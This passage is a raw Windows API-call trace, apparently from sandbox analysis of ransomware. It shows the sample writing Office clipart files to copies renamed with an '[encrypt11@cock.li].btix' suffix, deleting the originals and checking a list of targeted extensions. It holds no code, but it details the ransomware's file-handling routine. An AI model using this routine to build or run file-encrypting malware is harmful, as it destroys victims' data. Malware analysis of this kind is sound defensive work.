returned 4 [0158.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.660] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.660] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.661] GetLastError () returned 0x0 [0158.661] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x244a, lpOverlapped=0x0) returned 1 [0158.662] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2450, lpOverlapped=0x0) returned 1 [0158.663] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.663] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.663] SetEndOfFile (hFile=0x368) returned 1 [0158.663] CloseHandle (hObject=0x368) returned 1 [0158.664] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.664] SetEndOfFile (hFile=0x39c) returned 1 [0158.664] CloseHandle (hObject=0x39c) returned 1 [0158.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf")) returned 1 [0158.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0158.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0158.665] lstrlenW (lpString=".doc") returned 4 [0158.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.665] lstrlenW (lpString=".docx") returned 5 [0158.665] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0158.665] lstrlenW (lpString=".pdf") returned 4 [0158.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.665] lstrlenW (lpString=".xls") returned 4 [0158.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.665] lstrlenW (lpString=".xlsx") returned 5 [0158.665] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0158.665] lstrlenW (lpString=".ppt") returned 4 [0158.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0158.665] lstrlenW (lpString=".zip") returned 4 [0158.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.665] lstrlenW (lpString=".rar") returned 4 [0158.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.665] lstrlenW (lpString=".bz2") returned 4 [0158.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.665] lstrlenW (lpString=".7z") returned 3 [0158.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0158.666] lstrlenW (lpString=".dbf") returned 4 [0158.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0158.666] lstrlenW (lpString=".1cd") returned 4 [0158.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0158.666] lstrlenW (lpString=".jpg") returned 4 [0158.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.666] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.666] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.667] GetLastError () returned 0x0 [0158.667] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x45a2, lpOverlapped=0x0) returned 1 [0158.669] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x45b0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x45b0, lpOverlapped=0x0) returned 1 [0158.670] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.670] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.670] SetEndOfFile (hFile=0x368) returned 1 [0158.670] CloseHandle (hObject=0x368) returned 1 [0158.670] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.670] SetEndOfFile (hFile=0x39c) returned 1 [0158.671] CloseHandle (hObject=0x39c) returned 1 [0158.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf")) returned 1 [0158.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0158.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0158.671] lstrlenW (lpString=".doc") returned 4 [0158.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.671] lstrlenW (lpString=".docx") returned 5 [0158.671] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0158.672] lstrlenW (lpString=".pdf") returned 4 [0158.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.672] lstrlenW (lpString=".xls") returned 4 [0158.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.672] lstrlenW (lpString=".xlsx") returned 5 [0158.672] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0158.672] lstrlenW (lpString=".ppt") returned 4 [0158.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0158.672] lstrlenW (lpString=".zip") returned 4 [0158.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.672] lstrlenW (lpString=".rar") returned 4 [0158.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.672] lstrlenW (lpString=".bz2") returned 4 [0158.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.672] lstrlenW (lpString=".7z") returned 3 [0158.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0158.672] lstrlenW (lpString=".dbf") returned 4 [0158.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0158.672] lstrlenW (lpString=".1cd") returned 4 [0158.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0158.672] lstrlenW (lpString=".jpg") returned 4 [0158.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.672] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.672] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.673] GetLastError () returned 0x0 [0158.673] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x15f2, lpOverlapped=0x0) returned 1 [0158.674] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1600, lpOverlapped=0x0) returned 1 [0158.675] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.675] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.675] SetEndOfFile (hFile=0x368) returned 1 [0158.676] CloseHandle (hObject=0x368) returned 1 [0158.676] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.676] SetEndOfFile (hFile=0x39c) returned 1 [0158.676] CloseHandle (hObject=0x39c) returned 1 [0158.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf")) returned 1 [0158.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0158.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0158.677] lstrlenW (lpString=".doc") returned 4 [0158.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.677] lstrlenW (lpString=".docx") returned 5 [0158.677] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0158.677] lstrlenW (lpString=".pdf") returned 4 [0158.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.677] lstrlenW (lpString=".xls") returned 4 [0158.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.677] lstrlenW (lpString=".xlsx") returned 5 [0158.677] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0158.677] lstrlenW (lpString=".ppt") returned 4 [0158.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0158.677] lstrlenW (lpString=".zip") returned 4 [0158.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.677] lstrlenW (lpString=".rar") returned 4 [0158.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.677] lstrlenW (lpString=".bz2") returned 4 [0158.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.677] lstrlenW (lpString=".7z") returned 3 [0158.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0158.678] lstrlenW (lpString=".dbf") returned 4 [0158.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0158.678] lstrlenW (lpString=".1cd") returned 4 [0158.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0158.678] lstrlenW (lpString=".jpg") returned 4 [0158.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.678] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.678] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.679] GetLastError () returned 0x0 [0158.679] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xa783, lpOverlapped=0x0) returned 1 [0158.688] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xa790, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xa790, lpOverlapped=0x0) returned 1 [0158.690] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.690] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.690] SetEndOfFile (hFile=0x368) returned 1 [0158.690] CloseHandle (hObject=0x368) returned 1 [0158.690] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.690] SetEndOfFile (hFile=0x39c) returned 1 [0158.691] CloseHandle (hObject=0x39c) returned 1 [0158.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg")) returned 1 [0158.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0158.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0158.692] lstrlenW (lpString=".doc") returned 4 [0158.692] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.692] lstrlenW (lpString=".docx") returned 5 [0158.692] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0158.692] lstrlenW (lpString=".pdf") returned 4 [0158.692] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.692] lstrlenW (lpString=".xls") returned 4 [0158.692] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.692] lstrlenW (lpString=".xlsx") returned 5 [0158.692] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0158.692] lstrlenW (lpString=".ppt") returned 4 [0158.692] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0158.692] lstrlenW (lpString=".zip") returned 4 [0158.692] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.692] lstrlenW (lpString=".rar") returned 4 [0158.692] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.692] lstrlenW (lpString=".bz2") returned 4 [0158.692] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.692] lstrlenW (lpString=".7z") returned 3 [0158.692] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0158.692] lstrlenW (lpString=".dbf") returned 4 [0158.693] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0158.693] lstrlenW (lpString=".1cd") returned 4 [0158.693] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG") returned 68 [0158.693] lstrlenW (lpString=".jpg") returned 4 [0158.693] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.698] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.698] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0158.699] GetLastError () returned 0x0 [0158.699] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xa488, lpOverlapped=0x0) returned 1 [0158.942] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xa490, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xa490, lpOverlapped=0x0) returned 1 [0158.943] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.943] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.943] SetEndOfFile (hFile=0x354) returned 1 [0159.006] CloseHandle (hObject=0x354) returned 1 [0159.006] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.006] SetEndOfFile (hFile=0x3a4) returned 1 [0159.007] CloseHandle (hObject=0x3a4) returned 1 [0159.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf")) returned 1 [0159.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0159.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0159.008] lstrlenW (lpString=".doc") returned 4 [0159.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.008] lstrlenW (lpString=".docx") returned 5 [0159.008] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.008] lstrlenW (lpString=".pdf") returned 4 [0159.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.008] lstrlenW (lpString=".xls") returned 4 [0159.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.009] lstrlenW (lpString=".xlsx") returned 5 [0159.009] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.009] lstrlenW (lpString=".ppt") returned 4 [0159.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0159.009] lstrlenW (lpString=".zip") returned 4 [0159.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.009] lstrlenW (lpString=".rar") returned 4 [0159.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.009] lstrlenW (lpString=".bz2") returned 4 [0159.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.009] lstrlenW (lpString=".7z") returned 3 [0159.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0159.009] lstrlenW (lpString=".dbf") returned 4 [0159.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0159.009] lstrlenW (lpString=".1cd") returned 4 [0159.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0159.009] lstrlenW (lpString=".jpg") returned 4 [0159.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.010] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.010] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.011] GetLastError () returned 0x0 [0159.011] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x918c, lpOverlapped=0x0) returned 1 [0159.013] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x9190, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x9190, lpOverlapped=0x0) returned 1 [0159.014] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.014] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.014] SetEndOfFile (hFile=0x368) returned 1 [0159.015] CloseHandle (hObject=0x368) returned 1 [0159.015] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, 